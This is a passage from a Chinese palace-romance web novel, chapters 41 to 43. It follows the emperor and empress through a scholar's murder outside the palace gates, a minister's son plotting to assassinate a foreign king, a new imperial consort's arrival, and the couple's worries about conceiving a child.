蕖阳郡主离宫时已经不算早,透过车帘瞧见那群孤勇的学子还在静坐,不由可怜他们。 车驾走开些,突然瞧见其中有个人一跃而起,浓深的夜下他手掌的刀锋雪亮如日,下一瞬有人惨叫出声。 宫门口立时乱做一团,静坐的士子们蜂拥而上,禁军持戟镇压纷争。 蕖阳吩咐快些走,等到归家气还没有喘匀,门上扑进来回禀,说是状元郎方才在宫门外劝诸位同窗离去时,不慎遭歹人行刺,一刀入了脖颈,当场身亡了! 蕖阳郡主的娘倒嗓骂人:“死的真不是时候,进宫前死了省得祸害我蕖阳的婚事,这下好了,蕖阳名声都被弄脏了。” 蕖阳郡主傻眼。 私箱笼压着的一千两银票和宫中连夜送来的小春山群地契还热乎,她似乎懂了什么。 同夜同心 高大公子收到消息时还在小妾身上泻火半途,一把搡开怀里女人,边提溜裤子边让下人细说。 “凶徒乃是状元同窗钱某,此人已被当场缉拿,在场学子亦被关押起来。” 高大公子到书房时脸色铁青,高首辅看眼儿子凌乱的衣衫,谴一句‘成何体统’。 高大公子寥寥收拾,再进到屋中恰好听到幕僚猜测钱某背后之人极有可能是陛下。 “陛下已赐婚,废棋何必徒费心思?” “那就是崔次辅!” “必是他们!此次崔家子弟无一出仕,必然心存不满,借此良机出手,是与大人示威!” “此等猜测未免太过偏激。依我看,那钱某心气狭小,许是出于私人嫉恨报复出手。” 是夜,不及大理寺执例查案,凶徒钱某竟是自绝于牢狱,墙上血字触目惊心,称自己之举无人指使,全是因状元郎考前获悉考题而自感不公,要以死民谏于天子。 乾元帝立派三司严查钱某命案。 前朝气氛紧张,与此同时杨家七姑娘乘着一顶小粉轿子进了后宫。 修缮过的千熙堂迎来新主人,杨家七姑娘跪于坤宁宫前神情恭敬地领受圣旨,旨意册封其为贤贵妃。 阖宫俱在,安妃和赵嫔扭曲着脸恭喜贤贵妃娘娘。 董贵人反而担忧地望着皇后娘娘。【你现在阅读的是 】 40-50 第41章 你这般拈酸,我很开心。…… 董贵人是个直心肠的人, 贤贵妃长了几只眼都没仔细看,在心里悄默把对方当成假想敌。 为何呢?妃位加了贵,还有封号, 出自柱国公府, 爹娘俱在家中据说兄弟有五六个呢,又有汉王在, 真是好权威直逼中宫的存在! “娘娘不必忧虑,陛下只是在给旧臣脸面罢了。” 皇后见她义愤填膺十分心暖,不过,“杨家重儒成规, 不用为我操心。说起来, 你堂哥现在如何了?” 董贵人呵呵下, “那晚宫门前凶徒袭击时,恰好他不在, 禁军关押了诸位书生,倒叫他侥幸逃回家。” 语气遗憾, 却也无奈:“怂人一个, 被人家三两句话挑唆,我一个小小贵人在他眼里想来很威风, 竟敢仗着我名头去闹事。昨儿我求了陛下的恩, 遣派内监回家叫人狠狠打了他二十板子!” 内监回来说家下堂兄吓得尿裤, 叔伯们个个成鹌鹑样,算是解决一桩麻烦事儿。 既来了凑在一块吃过午膳,晌午后董贵人提议去策马,崔雪朝想想答应下来。 不必去北麓,坤宁宫往后隔着宫墙的一大片长原上,专用作后宫妃嫔捶丸壶艺的所在。 午后恰好有云, 驱马奔驰一番风爽极了,高兴是高兴,入了夜突然闷闷咳嗽几声。 阿屏关切地看着皇后:“这都第几回了,不若请个太医来瞧瞧吧?” “您当年在外埠的伤好得不利索,定是下晌骑马吃了风才惹得不舒畅。” 正劝着,门边乾元帝进来。 听过宫人的话,脸色一下变了,传御医到了,坐在一旁也不说话,直直盯着太医诊脉,只等太医说并不大碍,雷霆脸色才终于和缓下来。 “娘娘肋上有过伤,连通肺气,不宜做太过剧烈的运动。” 开过方子,乾元帝吩咐人去熬药。 黑乎乎的药汤灌进嘴里,五脏六腑都泛起苦涩。 一点小毛病非要大动干戈,崔雪朝觉得很没必要,“往年冬天也常这般,喝些润肺清脾的药茶就行,非要请什么太医。” 看来药苦得厉害,见她眉头蹙紧,神情也不大愉快,袁望觉得愧疚。愧疚之余又存着不安,“是不是册封贤贵妃,让你不开心了?” 崔雪朝一愣:“跟贤贵妃有什么关系?” 袁望自认关系匪浅! 他和她虽成婚时日尚短,但自己这一月的表现符合一个让她九分满意的丈夫,所以她成婚前的好感现在应该已经是喜欢了吧? 她喜欢他,所以今日抬举杨家七姑娘为贤贵妃,必然惹得她醋意横生,心下不满才去策马。 策马散心,这才意外引发旧疾。 崔雪朝捂着嘴打个嗝儿,灌药太快,味道反起来真要命! 瞧!他果然猜对了! 一提起贤贵妃,她气得都红眼眶了! 如此生气,如斯情深。 他很感动,“抱歉,把你牵扯进复杂的宫闱中。” “可惜我这一生注定不平凡,委屈你困在这儿,是我的私心,看在我孤零零可怜的份上,盼你多担待些。” “” 好端端的,说这些肉麻话做什么? 崔雪朝抱臂看他:“我照着太医叮嘱吃药就是,你别这样!” 他生就一双寡情的眼,偏巧每每看自己时总能诡异中沁出些不易察觉的温情,实在话,很令她心动,但是在床帷之间取悦自己时。这会儿天才刚黑,她没心思跟他在榻上缠绵! “你不必急着扯开话题,贤贵妃让你在意了吧?” 袁望绕过宽榻,挤到她身侧,自然而然地把人拥在怀中,深深地嗅一口她衣领间的女儿香,声线低沉:“你这般拈酸,我很开心。” 崔雪朝淡淡地看着梨花小几上的大团团蓝的粉的绣球花,好吧,又不知他想到什么乱七八糟的地方,诸如此类时刻自然也不是没有应付的经验。 譬如董贵人前儿给她绣了一个驱虫的花苞,她随手系在腰间,晨起叫他瞧见了,很不讲理地拽走,说太丑配不上皇后端庄温贤的气质。 再譬如她拆了端午被他强制绑在腕上的五色绳,已经为他开心戴了许久,结果刚解下,晨起一块用膳,他瞧见自己手腕光秃秃的,笑得很不怀好意,非说她刻意表现,是想让他送些好珠串。 他思维方式的诡异有几日让自己很怀疑,坐在龙椅上听政评政时会不会招来臣子对他英明的质疑。 不过她的担心似乎是多余的,前朝对他的推崇斐然,父亲提及他时两眼放光,肝脑涂地的程度很有崇信邪祟的狂热。 难道只在她面前时会发作此等怪诞病? 崔雪朝拍拍他箍在腰间的手臂,顺势提及贤贵妃。 “就当是咱们家里来了一门投靠的亲戚!” 袁望轻飘飘道:“她是杨氏的胞妹,旧年我见过一面,只记得她犯错挨板子后哭得嘴巴咧成好丑的一个黑洞。” “好吃好喝养着她,汉王是她外甥,将来记在她名下,也算是朕回报杨家当年出兵一路扶持的功劳。” 崔雪朝说行吧,一块用了晚膳,临要安置,袁望依依不舍地起身作别,“我走了。” “陛下慢走。” 袁望有些不甘她如此轻易接受自己的离开:“我要走,你不怕我去千熙宫寻贤贵妃?” 崔雪朝坐在妆台前的身影未动,不带一丝情感的眼眸与他在铜镜中对上,“你敢?” “朕不敢。” 袁望嘿嘿笑了,跨出门一步,又猛地冲回来在她柔嫩的唇上叭叭啄吻几下:“往后盼你还是这般牢牢看着我!” 换来她无奈的翻个白眼,那也是春情恣意很美好的一眼。 袁望这才离开。 今夜贤贵妃刚入宫,这么大的一个靶子立起来,有些话不必明说,他和她心里灵犀知晓今夜最好不留在坤宁宫,省得两妃同仇敌忾起来。 这一晚陛下忙于政事。 后宫妃嫔请安时表面上一团和气。 两日后是朝贡节,皇后垂问安妃献舞一事。 “南境的小婆罗国连诸七八个小属地,加上西域外邦的乌孙等国,大国宴处处须得谨慎。” 安妃一副成竹在胸的样子,“皇后娘娘放心。” 她已经联合乐舞司最优秀的艺人一块练习许久,必然一展技艺惊艳全场。 又问贤贵妃住得可好。 昨夜不曾侍寝,贤贵妃既失望又庆幸,满堂妃嫔瞩目时,平静地起身蹲礼:“谢皇后娘娘关怀,嫔妾一切都好。” 场面话过了,这一日的晨安便可以纳入尾声。 两日后迎来朝贡节。 前朝消亡,大乾开江山,过去仰赖汉室统治的小邦从去岁起间或派出使臣来望京交际。 望京城西由鸿胪寺做主修葺的四方驿馆这段时间忙得不可开交,礼部大大小小的官吏从晨起接引到闭市鼓声响起。 繁荣的王都景象是王朝好与坏最直接的证明。 乾元帝接待过一波波外邦使臣,罅隙休息,与皇后说悄悄话。 “这些邦国,说大,领属不过巴掌一点。说小,好几个聚在一块往国境线上来一遭,常犯下些很不是人的祸事。” 诸如刚才进殿乌拉乌拉话的乌孙国,“仗着他们领地驯化良驹,好些马场主比我这个皇帝还要威风,去年草原闹旱灾,收成不好,这群莽牲口骑马抢了边境七八座小城池。” 抢掠粮食,杀了十来个守城兵,亏得有分寸,没把屠刀挥向寻常百姓家。 这次乌孙国来就是为解决这件事儿,瞧方才乌孙国主气焰,不像是赔偿大乾,反而是让大乾赔偿他的。 “朝臣叫朕礼待他们。” 乾元帝冷哼:“就给大乾十几匹中等马,朕反而得还上千旦粮食,还有布匹绸缎。彰显我大乾泱泱大国礼仪?要不是人太多,朕一剑斩杀那乌孙国的什么鸟国主!” 他在空地上一圈圈磨盘驴似的,一边叉着腰,嘴里一个劲地唾朝臣的不是。 威风仪仪的帝王冕冠珠子嘭嘭砸脸,看来气狠了,方才他在大殿上那冷颜如霜的煊赫风范真唬人。果然亲近之后,私底下与自己在一块,反差很大,是真实的他。 崔雪朝看眼不远处被他进殿时甩到一旁的鞋,招招手让宫人去端点润口的清茶。 “与乌孙的事情还能商榷,陛下莫要太着急上火。” 陛下咕咚咕咚灌了一肚子不开心的凉茶,童公公在殿外说朝贡节大宴快开始了,请陛下皇后娘娘前去入宴。 开宴首演便是安妃娘娘精心排演的《十军阵》。 最先响起一声琵琶,清亮悠扬。 琵琶先缓后急,奏的是千古名曲《十面埋伏》。 又有无数琵琶应和,嘈嘈切切,声环茅屋。 就在这时一身绯红的安妃登场。 绯红的佳人,万树千花闪耀,腰间执白素,单手一柄青锋宝剑,昏灯突现,绚烂的光幕下其人如月华般绚烂。 琵琶声脆音亮,激越如潮,渲染得天地轰轰烈烈。 安妃手中的剑划出一道锋利却优雅的弧线,轻若浮云。 以观赏的角度看,十分不错。以男人的视角看,乾元帝只需一眼瞧清剑锋之后那双眼中的献媚讨好,便觉乏味。 这般激昂亢奋的曲乐,搭曲起舞之人本该锋锐,而非软成烂泥。 余光留意到皇后看得专注,顺着她视线望去,安妃身后隐幕处,那里坐着的正是奏乐的艺人。 他捕捉她眼底流转的眸色,某一刹那,险些被他忽略了去,她淡然的眼眸波澜了下,于是问怎么了? 恰时安妃献舞退场,崔雪朝露出满意的笑容,说安妃妹妹跳得很好。左右都听见了,安妃娇羞地跪下多谢皇后娘娘夸奖,又把殷切的目光投向陛下。 乾元帝还在疑惑方才皇后为何异常,心不在焉地道一声赏。 话音刚落,席上突然传来吵嚷,乌孙国国主和鸿胪寺的通译官不知为何搅打在一块,两人缠成团,一个嘴里叽里咕噜不知扯着嗓子喊什么,另一个通译官大喊‘万万不可绝对不行’。 厮扯好半晌,最后被武将强势分开。 众人看笑话般瞧着酒气熏天的乌孙国主。 乌孙国主就势坐地,朝着乾元帝拱手说了好一通。 通译官哆嗦着转译:“回陛下,此人吃醉了酒说胡话,错把安妃娘娘当成寻常歌姬,说说只要陛下准许他带走,便进献百匹上等乌孙良驹!” “贼子大胆!”身任户部侍郎的高大公子越众而出厉声怒骂。 “区区小国竟敢以下犯上!” “陛下!臣进言,速斩此人头颅,以正我大乾国威!” 乾元帝看眼跪着的臣僚,眼底讥讽,想来这头的动静传到了后罩廊上,能听到安妃要死要活求陛下做主的哭喊声。 “国主吃醉了,遣人送他回四方驿馆休息吧。” 如此平拿轻放,自然惹得高大公子不满,只是他一挺身,尚未开口,便遭到父亲严厉的眼神阻拦。 另一侧的朝臣却很为陛下有此雅量而欣慰,正如早前商议的那般,大乾民生初定,对于这些蛮夷小国只需打发乞儿般敷衍过去即可。 “陛下英明。” 群臣山呼。 廊后的安妃捂着胸口气昏过去了。 乌孙国国主被一众贴身护卫带下去了。 乾元帝轻描淡写地吩咐接着奏乐接着舞,似乎已然沉浸在一片享受中,时而与身侧的妃嫔温和笑笑。 高大公子袖间的拳头攥紧,阴森的目光投向方才乌苏人离开的方向。 第42章 不给我孩子,你是打算给…… 夜深了, 坤宁宫安寝的乾元帝被寝居外的童公公压低的声儿喊醒,他清清嗓子以示知晓,垂眸看几眼躺在自己身侧睡颜恬静的皇后, 就这般默默看了半晌, 起身出到外间。 “明日让太医再来诊脉。” 万姑姑恭敬应是。 吩咐过,穿戴好, 乘上御念漏夜回到通政殿。 锦职司正使已在殿内等着,“回陛下,人捉住了,现下押在司内私狱, 牢牢看守。” “这是那几人的口供。” 童公公呈递给乾元帝。 乾元帝三两眼扫过, 意料之中, “宣高卿进宫。” 快七十的高首辅深夜被喊起身时骨子里还泛着钝,精神却敏锐地挣扎出意志力, 他看眼堵在门外举着火把的禁军,个个脸色严肃活像上门抄家的瘟神, 童公公那边一问三不知, 打听不出什么,高首辅心里直打鼓。 更换朝服戴起官帽柄起笏板, 后罩过来个小厮:“老爷, 大公子不在家。” 高首辅顿了下, “去寻他快些归家,告诉他什么都不要做,陛下不会对老夫做什么!” 小厮应下。 临走,高夫人听信儿从后院赶来,脸色担忧至极:“老爷,出什么事情了?”她知道大儿子今夜领着人去外头给二闺女出气去了, 大儿子说让她不必担心,安生睡一觉就行。 “是不是渃哥闯祸了?” 高首辅隔着门槛看明白妻子惴惴的神情,心下长叹,两个孩子全让这妇人心肠给养坏了。 一时无话,摆摆手,至少门前还有陛下赏赐来的小轿。 空寂的通政殿地砖凉透人心,高首辅跪了小两刻钟却有种此生到头的错觉,忽而听到窸窣的声响,越发谨谨地把头往地砖上贴了贴:“臣高悯给陛下请安。” “起吧。” 上座淡然一声,“首辅年岁大了,久跪难熬,是朕慢待了你。” 首辅忙说不敢不敢。 顺着内监手臂,颤颤巍巍地站直,刚坐定,脚步声靠近,竟是乾元帝亲自走来,随手塞给他几沓纸:“高卿看看吧。” 他欲起,却被陛下有力的手掌按坐回原处。 陛下就在他手右站住,扬扬脖子叹口气:“安妃有位好兄长呐。” 首辅颤抖着看完那几张口供,只觉深夜霹雳落在头顶,想跪下请罪,先前陛下分明不准他屈礼,两相为难,绯红的官服后背晕出好大一团深色。 “陛下,老臣教子无方” “话也不必这般说。”帝王拦住他话音,道:“打心底说,朕觉得高卿大公子爱妹心切,一时犯点刺杀的错无可厚非。” “兄妹情谊,不就你牵挂我,我牵挂你嘛。不类朕这般孤寡,到这年纪,一个亲兄弟姐妹都不曾在世。” 这话实在吓人。 谁人不知当年高祖活着时风流多情,除了当今陛下之外,还有六个庶出的儿子。 陛下起兵于河东,族中子弟俱在奋力,那六个庶出的兄弟自然在列。巧与不巧,那六人领着差事,经年一过,竟是一个不存,俱亡矣。 听闻高祖为此事大闹过,太祖残存一口气拦住高祖的脚步,只说高祖若去,不过是多一具躺下的尸首。 弑兄弟灭人伦亲缘的人,真的会羡慕别家兄妹同胞之爱吗? “陛下,那孽子全然不顾朝堂大局,领着私护刺杀乌孙国国主,其罪不可饶恕!臣请陛下严惩,以正视听!” 乾元帝:“高卿倒是大义灭亲,朕却觉得不必如此。” “那乌孙国的国主很是无礼,今日朝贡对朕不恭,可惜朝臣劝朕不必动气为邦国礼仪而宽宥一二。” “大宴之上,此人煊索朕的安妃,朕念及朝臣下晌的劝解,为公为国事为大义只好委屈安妃。可是,百官又不愿朕忍了。” “高卿,你说这是何道理?难道朕的体面还不如安妃的体面吗?” 这句话才是惊天动地索命的关键! 首辅大人此番跪得很顺遂:“陛下恕罪!” “太祖临去之际,曾喊朕去他床畔交代遗言。他说朕太过锋锐,命格注定引领河东袁氏昌盛兴旺,朕达成了他的殷盼。太祖又言,自己老了,家业将来都在朕的手中,只求我与高祖薄弱的父子情不会消亡。” 怏怏一叹气:“可惜高祖死在庆城,朕很惭愧。” “高卿,你能体谅朕的苦心嘛?” 首辅讷讷地点点头,“老臣年迈” 悠长深邃的遗憾出自胸腔,“一生伺候三代君王,值此年岁,冗病在躯,叩请陛下开恩准臣荣归故乡颐养天年。” “高卿爱子之情,真叫朕羡慕啊,盼令郎归家时,能明白你为父亲的难处。” 如此,高家大公子领着私护在四方驿馆外截杀乌孙国国主的错以高首辅辞官而收场。 消息传至后宫。 万姑姑回禀:“朝会半数朝官劝留,陛下脸色很不好看。” 崔雪朝能猜到陛下的憋闷之心。 兴隆一年,陛下忙着在野收拾各地乱局,望京由高家父子两个拢成麾下小朝堂。兴隆二年,陛下归政,有心治理前朝留下的乱刑制和重税,减轻民赋徭役,但投降来的朝堂处处磨蹭,上行不下效,致使陛下裹足。 能用之人太少,那就开恩科拔选一波新臣,可好,恩科是个漏洞百出的无用之地,高家父子直接间接地插手,又作废了。 “科举舞弊,联姻勋贵,朝堂后宫尽是高家耳目,百官非朕的百官是高家的爪牙。” 午膳时,袁望端着一碗葱油拌面,胡吞了两大口,撒气道:“就怪我当年入望京时心存怜悯,见这群鼠辈挂白旗把刀收了,索性杀他个痛快,今日省去好多麻烦。” 至尊的人也就能背过身跟自己的皇后偷偷摸摸地撒气骂个痛快。 “荣退了高首辅,高大公子想必会长教训。” 崔雪朝给他夹了一筷子的凉肉脍:“别光吃面,吃点肉。” “怎么?是不是近日朝事太重,都把我给累瘦了?” 袁望打量自己周身,很为体量的减少而忧患。 并非是无中生忧,实在是早年他行军时有过一段艰辛岁月,当时粮草困厄,年轻气盛的自己正领着一小撮人做探子,结果被困在一座小堡垒里挨了二十来天的饥荒。 后来回了军帐,两肋瘦脱相,颧骨奇高,个头高的人一旦瘦一点就会有形销骨立的视觉感,当时族中跟他亲近的一个兄弟说自己活像夜里成精的竹竿精。 “这肉滋味不错。” 袁望吃着香,“不像是你小厨房的手艺。” 崔雪朝抿出点笑意:“是我在外埠学会的做法,少盐口,用纯质的花雕腌肉文火炖成的。” 怪道滋味如此顺口,原来是她专门做给自己吃的。 一盘子十来片儿,吃到最后赞许有加,想起成婚前她在崔家动手包饺子的往事,“晚膳有何安排?” 崔雪朝听出些言外之意,有心抚慰他在前朝受伤的心:“你想吃什么?” 袁望:“旁的都好,家常的就行。听说你调和饺子馅儿很不错。” 崔雪朝斜睨他故作平淡的面容:“听说?听谁说的?” 他呢,支支吾吾说不清楚,见她在往手背上抹香膏,蹭过来揩油十指交握笑得很春情:“晌午一块歇觉?” 他自诩是个存粮很多的大地主,开闸之后一发不可收拾。这些时候为做局实则委屈了几日不曾敦伦。 才几日没入内帐,好像皇后比成婚前愈发美丽了。 掌中之物揉来揉去,“今岁还不曾吃桃子呢。” 崔雪朝困惑看他:“什么桃子?” 桃子肉质丰腴,一大口下去吃个尖儿,心神失守刹那,又被他闯了进去。 “你你看着点时辰!”她恼羞地咬上他肩头 等到陛下离开寝居,阿屏见皇后娘娘头发凌乱地趴在枕头上,一副被夺舍的样子,想起秦妈妈给皇后送补身汤时的评点——陛下是个吃起来没数的狼,可别把娘娘身子给掏坏了! 皇后娘娘瘫在被褥里眯了半个时辰。 穿戴整齐后吩咐小厨房准备面粉和相应做馅儿的材料,恰时门上进来回话,说安妃娘娘来了。 “就说本宫身子不适,今日不见人。” 打发了安妃,自去小厨房亲手揉面调起馅料。 坤宁宫前的安妃闻言狠狠地拍打下轿辇,“回宫。” 万姑姑冷眼看这一行走远,李内监嗤笑道:“一个妃,给皇后娘娘请安竟然不下轿,真是轻狂得没边了。” “娘娘好脾气,懒得计较,万姑姑,您说这事儿若是传到通政殿那儿去,陛下会如何?” 万姑姑没接声,看着李内监阴笑的脸扯下唇角。 回到万寿宫的安妃自然又是一阵摔打出气。 茶盏摔打满地碎片,犹不解气,朝着心腹脸啪啪甩了好几个耳光,直抽得手疼了才坐回圈椅上。 心腹顾不得擦去嘴角的血迹,一个劲儿求饶,“娘娘别生气,气坏了身子,白白便宜后宫那些女人。” 安妃丧气道:“便宜谁就便宜谁吧,哥哥说得对,陛下从一开始就没想着给我母家脸面,不过是以退为进哄得我父亲哥哥放下戒备。” 上晌在通政殿吃了软钉子,这会儿又在坤宁宫吃了闭门羹,安妃有种说不明何处来的直觉,今日自己便是悬在万寿宫的梁上自尽,落在陛下皇后眼中,只会认为是她在荡秋千玩呢。 “你去让人给哥哥传信吧。” 安妃很快从郁闷的心情中挣脱出来,“让哥哥在家好好养伤,父亲致仕,全家如今都靠哥哥撑着,让他放心,这一回的闷亏我会找机会替家里出气的!” 她看起来很有雄心壮志,但说的话深究起来挨铡刀砍头都不为过。 那心腹捂着又肿又疼的脸颊出了万寿宫,心说摊上这么个张狂的主子真是倒了八辈子霉,要不是家里头爹娘全在高家伺候,真想换个主子重新活。 心腹前脚出了宫门,后脚行踪就递上乾元帝的案头。 打草才能惊蛇。 京西铁矿外流已经查明背后运输之人乃是南方商会主事人,而南方商会主事人这些年送了不少贵重东西给高大公子小妾的娘家呢。 “叫人盯紧安妃一举一动,朕倒好奇她会如何替她父亲出气?” 童公公应是,他去外头传话办事,再回来时手里提着一个紫檀的大食盒,笑容满脸:“陛下,皇后娘娘吩咐人给您送暮食来了。” 乾元帝看下铜漏,惊觉时辰过得这般快。 “正好朕饿了,皇后真是体贴。” 盖子揭开,棉裹保着温度,还有白雾气腾出来,青玉的盘子上一个个胖嘟嘟的饺子,皮儿薄馅儿大,一口下去汁水丰盈。 乾元帝嚼着一个,夹起来另一个凑到灯前给童公公等人看:“瞧这褶子折得多好,一看就是皇后的手艺。” 那褶儿峰峦似的,弧线饱满圆润,深想起来,皇后恬静美好地坐在长案头,长长的擀面杖来回滚着,一张圆满的皮儿裹上爱意满满的肉馅儿,手指灵巧地每按一层褶子就要想念自己一回。 怪道方才批阅折子时还打了好几个喷嚏呢,原是被念想的。 吃过一碗,底下一层还有浑白的饺子汤。 童公公说:“原汤化原食,坤宁宫送膳的人说娘娘胃口好,足足吃了二十个饺子饭后还喝了两碗汤水。” 皇家的饺子汤自然不是寻常百姓的寡水,乾元帝比照着皇后的分量依数咕嘟喝饱,站起身时打个谓足的饱嗝。 “皇后今日的胃口很好呢。” 随口嘀咕一句,坐下看见岭南的官吏第六次上请安的折子,批阅道:朕安,请安折子不必上了,好好平民乱,折子说的黄果真有你说的那么好吃,给朕送些来。 笔锋一停,一个想法涌上心头。 折本也懒得整理,直奔坤宁宫。 宫人回禀说皇后娘娘已经安置,乾元帝不叫惊动,轻手轻脚进了寝居,帘子缝隙,他视线从皇后红润的脸颊一点点往下移,最终停在平坦的腹部。 出到外间,询问贴身伺候的宫人:“今晨太医瞧过,如何说的?” 万姑姑:“太医说娘娘无恙,只需静养。” 或许是时日太短? 乾元帝算算,成婚一月,他们二人尚算勤快,“月信前仔细照顾着。” 万姑姑心领神会,忙道陛下放心。 几日后便是移居明园避暑的日子。 择定了随驾而行的人,两妃俱在,董贵人跟着,汉王也得应准同行。 浩荡的车马到了明园恰好是夜上,果然要比在望京时凉爽。 崔雪朝入住的太云阁三面环水,行宫的宫人为迎玉驾早早燃起驱虫的艾香,廊桥河苑那侧便是陛下处理政事的文渊殿。 距离很近,层层护卫之外,隐约还能瞧见随陛下而来的小中堂臣僚的身影。 进太云阁前,崔雪朝与父亲见了一面。 阔别月余,父女两个温情的话并不多。 其一先说了派往外埠严查当年赵家的事情。 现当今赵家家主还是崔雪朝的舅舅,心性太软,护不住胞妹也没把赵家治理妥善。赵家族中只当舅舅是摆在明面上的棋子,很好摆布。 皇令在上,当地县属不过一个日夜便把当年崔家主母的案件查清。 顾及皇后外家体面,不曾大开杀戒,主使阴谋的几个族公和族中妇人苛役打板子流放,赵家家主治家不严,抹去家主之尊,至于资财一类的,除了糊口的,其余全都罚没质变为银票。 合计起来不过三百两银子,全都到了崔雪朝手中。 她没要,让父亲给了崔梅越。 其二谈起朝局。 问在后宫可有人为难? 崔雪朝真心实意地摇头。 陛下应承过后半生跟她相守,眼下还遵守着承诺。再上头脑热的情爱也不会冲散她始终保有一分的理智。 帝后夫妻,陛下跟她谈起朝事时不存在试探的心思,有什么说什么,想让她配合也会直言,自己配合过后,会收到些琳琅的谢礼,免不了回敬一二,在他眼中是温情递进的见证,于是愈发喜欢跟她分享朝局上哪个不顺眼的今日惹了他不开心。 思及此,跟父亲提了两嘴。 岂料这上了岁数的亲爹很鼻子不是鼻子眼不是眼,再三劝她要懂分寸:“陛下要说,娘娘该劝着他莫要提。前朝事情牵涉深广,万一说错什么,牵连到家里” 停顿了下,似乎意识到自己此言不妥,神情讪讪的。 崔雪朝也明白父亲的担忧,实在末帝留给崔家的阴影太过深刻,父亲跟在陛下身边不久,眼瞧着原本枯竭的雄心好似又泛出了活水。 “舞弊案还在查,几位考官和经管卷子的吏官都被扣在大理寺牢狱中。” 崔举提起家中的嗣子:“他本来很有信心,经此打击有些沮丧,这回来明园避暑,我让他一并来散散心。娘娘空了便开解开解他吧。” 崔雪朝应下。 搬至明园,是为避暑。 翌日宫妃前来拜会,崔雪朝颁布了新规矩,明园小住两月,不必日日辰时来请安,逢六九之数来即可。 众妃闻言都很高兴。 散去时留下贤贵妃问话。 “听皇子所的姑姑回禀,昨日汉王功课出错,你吩咐人打了他手心板子?”崔雪朝客观道:“陛下有心让你教养皇子,因看在你是汉王亲姨母的份上。汉王生母虽为杨氏女,但他更是陛下唯一的子嗣,贵不可言。教养孩子须得慢来,不可操之过急。” 汉王手心挨了板子,夜里吃饭连勺子碗筷都握不住,今晨起还有些发热,可见那孩子受惊不小。 对于此事,贤贵妃自有她的说法。 “姐姐早丧,只留下汉王一个孩子,家下盼着汉王懂事莫要辜负姐姐生他一场。陛下忙于朝事,汉王仗着身份在后宫放养天性,眼下不严管其性,来日再想管怕是迟了。” “不是说不让你管,是让你慢慢来。” 崔雪朝耐心劝道:“拔苗助长的故事想必贤贵妃听过吧?再说了,皇子自有开蒙师傅教授为人处世的道理,陛下再忙于朝政也不会对唯一的子嗣弃之不顾。” “可惜娘娘不曾亲自生养过,其中道理不是三言两语就能让娘娘明白。”贤贵妃板着脸起身蹲了下:“臣妾告退。” 满宫人惊愕地看她毫不留情地撅了皇后的脸,然后拍拍屁股走了。 阿屏眨眨眼:“贤贵妃真的只有十七岁吗?我怎么瞧着她像个三十来岁的狠辣人。” 万姑姑进言:“若不然娘娘跟陛下提提?” 崔雪朝说不必,这点小事刻意去提,他再去申斥什么,传到外边只怕引来杨家对她的猜忌。 只不过进宫以来万事顺遂,出于教养汉王的好心,也出于中宫的地位,可惜被贤贵妃呲了一嘴,心下有些烦躁。免不得觉得苦恼,若是嫁给一寻常百姓家,也不必为继子而费心。 这一天怏怏的没什么精神,万姑姑留神娘娘的脸色,下晌皇后娘娘睡了一觉起身时喊阿屏拿物件,万姑姑不免有些失望。 消息回禀到文渊殿,乾元帝想了会儿,吩咐童公公传太医。 太医来得很快,为陛下请脉时还有些摸不着头脑。 过后问陛下是何处不舒服? 乾元帝像个捉摸不定的病患,“你看朕五脏六腑可有哪里不妥当?” 太医沉默,又请了一次脉。 “陛下贵体安康,臣没瞧出不对劲来。” 乾元帝挥退左右,单独与太医说话:“朕早年打仗时左腹处曾受过伤,当年医治条件局限,只草草包扎后自行痊愈了。朕眼下拿不准究竟有没有留下暗伤?” 太医往陛下手指的方向看看,心里有数,再诊脉时着重诊肾脏功效。半晌后,“陛下可是行房有碍?” “那倒没有。” 乾元帝斩钉截铁,“为防万一,传你来朕好安心。” 太医思及陛下这些年只汉王一个孩子,未免太过孤零,大婚之后御幸也不算少,看来是急着想再有子嗣了。 太医确诊无碍,让乾元帝不用着急。 但乾元帝心里存着影儿,心不在焉地处理完政事沿着廊桥水榭回到住处。 崔雪朝还没睡,坐在灯下翻着明园呈递上来的账本在看,见他恍惚着坐到自己身边,“怎么了?” 袁望摇摇头,心下惴惴,本来自己在遇到她前不曾保持一个干净的身子,已经让她很委屈。 今日骤然想起往事,一个月颇为骄傲的床榻表现突然扑了一层暗淡色,将来日久,她颗粒无收,或许意识到问题出自于他,后悔嫁给自己如何是好? “汀溪,你喜欢孩子吗?” 崔雪朝头都没抬地说当然,“寻常妇人十六七就有孩子,我二十四了,自然很殷盼生育自己的血脉。” 提及此处,以为他听说汉王的事情。 正要劝他好言跟贤贵妃开解,岂料一抬头,他那神情难看得像是天上破了大洞窟,吓得她心跳加快。 “汀溪,若是朕往后不能给你一个孩子呢?” 他心事重重地开口,渴望一个‘没事,没有孩子你我相守也很圆满’的回复。 对坐的崔雪朝茫然之下又觉得荒诞:“什么意思?不给我孩子,你是打算给谁孩子?” 第43章 难不成你是虚的? 短短一句话, 是她对他清白的质疑。 袁望只好全盘交代,提及自己曾经受过伤的往事,“你说万一我光行房威武, 却颗粒无收, 这可如何是好?” 这是很了不得的大事。 账本也不必再看,千万金银在手, 没有孩子总会觉得遗憾。并非爱他至极点,是自己想有个牵挂。 “太医怎么说?” “太医说一切无碍,只让我不必心急。” 袁望:“但你知道的,这些医家总不肯把真实的情形告知病患, 藏三分给自己留余地, 我也不知他有没有撒谎。” 实在是时日很短, 不好得出结论。 今日贤贵妃说自己未曾生养过,不知养孩子的轻重, 那时听着憋屈落在耳中觉得自己一番好心被辜负了,这会儿回味起来, 崔雪朝突然觉得心上被刺了下。 年纪都不算很小的夫妻两个, 你看我我看你,好半晌, 袁望没等来她抚慰的话语, 暗怪自己何必这么早把这事儿告诉她。又一想, 三五年期间一直不能让她有孕,软刀子磨着要命,还不如这会儿直接坦诚,往后两人好有准备。 “没事没事,保不准是咱们尝试的时间太短了。” 这话根本安抚不到崔雪朝的实处。 她抿了抿嘴,倒不担心自己无所出会不会影响到后位, “您有儿子,自然觉得没事。” 许是月信在身,总有些多愁善感,把踏板上趴着的胖黄抱在怀里,那温热的小身躯逼得眼眶发酸:“当年母亲去了,父亲的心有了旁的归处,我好像突然成了孤儿。” “原以为嫁给你,将来忠贞不忠贞并不重要,有了孩子,血脉联上,我就不孤单了。” 说起来好伤心,两行泪落下,拧开他要拥抱自己的手臂,“早知道就不嫁给你了。” 完了,预料中的后果出现了! 袁望目送她消失在珠帘后,坐在榻上垂头丧气。 心劈成两半。 